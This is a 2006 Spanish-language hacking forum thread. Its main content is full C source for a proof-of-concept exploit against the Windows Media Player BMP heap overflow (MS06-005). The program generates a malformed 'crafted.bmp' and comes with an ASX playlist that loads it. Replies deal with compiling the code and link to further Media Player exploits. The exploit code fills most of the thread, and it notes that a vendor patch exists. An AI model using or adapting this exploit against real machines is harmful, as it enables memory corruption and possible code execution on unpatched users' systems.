elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:29  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Windows Media Player BMP Heap Overflow (MS06-005)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Windows Media Player BMP Heap Overflow (MS06-005)  (Leído 1,752 veces)
G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Windows Media Player BMP Heap Overflow (MS06-005)
« en: 16 Febrero 2006, 15:25 »

Código:
/*
*
* Windows Media Player BMP Heap Overflow (MS06-005)
* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html
* Exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
* wmp_remote_poc.asx :
*
* <ASX version="3.0">
* <ENTRY>
* <TITLE>Windows Media Player BMP Heap Overflow (MS06-005)</TITLE>
* <REF HREF="crafted.bmp"/>
* <DURATION VALUE="60:00"/>
* </ENTRY>
* </ASX>
*
*/

/*
*
* Systems Affected:
* Microsoft Windows Media Player 7.1 through 10
*
* Windows NT 4.0
* Windows 98 / ME
* Windows 2000 SP4
* Windows XP SP1 / SP2
* Windows 2003
*
*
*/

/*
*
* In this vulnerability,payload is loaded to different places in memory each time.
* but some time is very easy to call our shell code :
* http://www.spyinstructors.com/atmaca/research/wmp.JPG
* but some times not =) because of ,no shell this time
*
*/

/*
*
* Microsoft has released a patch for this vulnerability.
* The patch is available at:
* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
*
*/

#include <windows.h>
#include <stdio.h>

#define BITMAP_FILE_SIZE 0xA8D2
#define BITMAP_FILE_NAME "crafted.bmp"

#pragma pack( push )
#pragma pack( 1 )

// bitmap file format - http://atlc.sourceforge.net/bmp.html
//File information header provides general information about the file
typedef struct _BitmapFileHeader {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} BMPFHEADER;

//Bitmap information header provides information specific to the image data
typedef struct _BitmapInfoHeader{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BMPIHEADER;

#pragma pack( pop )

int main(void)
{
FILE *File;
BMPFHEADER *bmp_fheader;
BMPIHEADER *bmp_iheader;
char *pszBuffer;

printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
printf("\nBug discovered by eEye");
printf("\nExploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");


if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
printf("\n [E:] fopen()");
exit(1);
}

bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);

memset(pszBuffer,0x41,BITMAP_FILE_SIZE);

bmp_fheader->bfType = 0x4D42; // "BM"
bmp_fheader->bfSize = BITMAP_FILE_SIZE;
bmp_fheader->bfReserved1 = 0x00;
bmp_fheader->bfReserved2 = 0x00;

// eEye - MAGIC
// Antiviruses will get the signature from here!!!
bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) );

bmp_iheader->biSize = 0x28;
bmp_iheader->biWidth = 0x91;
bmp_iheader->biHeight = 0x63;
bmp_iheader->biPlanes = 0x01;
bmp_iheader->biBitCount = 0x18;
bmp_iheader->biCompression = 0x00;
bmp_iheader->biSizeImage = 0xA89C;
bmp_iheader->biXPelsPerMeter = 0x00;
bmp_iheader->biYPelsPerMeter = 0x00;
bmp_iheader->biClrUsed = 0x00;
bmp_iheader->biClrImportant = 0x00;

memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));

fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
fwrite("\x00", 1,1, File); //Terminator

fclose(File);
printf("\n\n" BITMAP_FILE_NAME" has been created in the current directory.\n");

return 1;
}

Al parecer se debe crear un archivo llamado wmp_remote_poc.asx con este codigo:
<ASX version="3.0">
<ENTRY>
<TITLE>Windows Media Player BMP Heap Overflow (MS06-005)</TITLE>
<REF HREF="crafted.bmp"/>
<DURATION VALUE="60:00"/>
</ENTRY>
</ASX>
y generas el archivo bmp.

Lo que pasa que no veo donde esta la shell a ejecutar alguien lo ve???

En línea
chapinhack

Desconectado Desconectado

Mensajes: 56


viva Guatemala Pisados


Ver Perfil WWW
Re: Windows Media Player BMP Heap Overflow (MS06-005)
« Respuesta #1 en: 16 Febrero 2006, 23:20 »

me tira 2 errores en la compilacion con dev C++ en la linea 7 y 35:

7 C:\media player.cpp [Warning] malformed '#pragma pack(push[, id], <n>)' - ignored

35 C:\media player.cpp [Warning] #pragma pack (pop) encountered without matching #pragma pack (push, <n>)

alguna ayuda o sugerencia?

P.D G3R4RD lo pudistes compilar sin problemas?



« Última modificación: 16 Febrero 2006, 23:24 por chapinhack » En línea

Guatemala tu nombre inmortal.
Vitrox

Desconectado Desconectado

Mensajes: 189



Ver Perfil
Re: Windows Media Player BMP Heap Overflow (MS06-005)
« Respuesta #2 en: 17 Febrero 2006, 00:25 »

fijate haciendo UNpaCKIng
salu2
En línea

El Conocimiento es poder, el poder es Superioridad
G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Re: Windows Media Player BMP Heap Overflow (MS06-005)
« Respuesta #3 en: 17 Febrero 2006, 09:33 »

Si lo pude compilar perfectamente utilizo visual c++
En línea
chapinhack

Desconectado Desconectado

Mensajes: 56


viva Guatemala Pisados


Ver Perfil WWW
Re: Windows Media Player BMP Heap Overflow (MS06-005)
« Respuesta #4 en: 18 Febrero 2006, 01:11 »

a ver que les parece este reportado en frsirt exploit
Microsoft Windows Media Player Plugin Remote Code Execution Exploit (MS06-006)

http://www.frsirt.com/exploits/20060217.wmp_plugin_ms06_006.pm.php

pero resulta que en XXXXX aun no aparece nada xD..

y este otro en html
http://www.frsirt.com/exploits/20060217.wmp_overflow.php  ;D
« Última modificación: 19 Febrero 2006, 02:40 por Sirdarckcat » En línea

Guatemala tu nombre inmortal.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines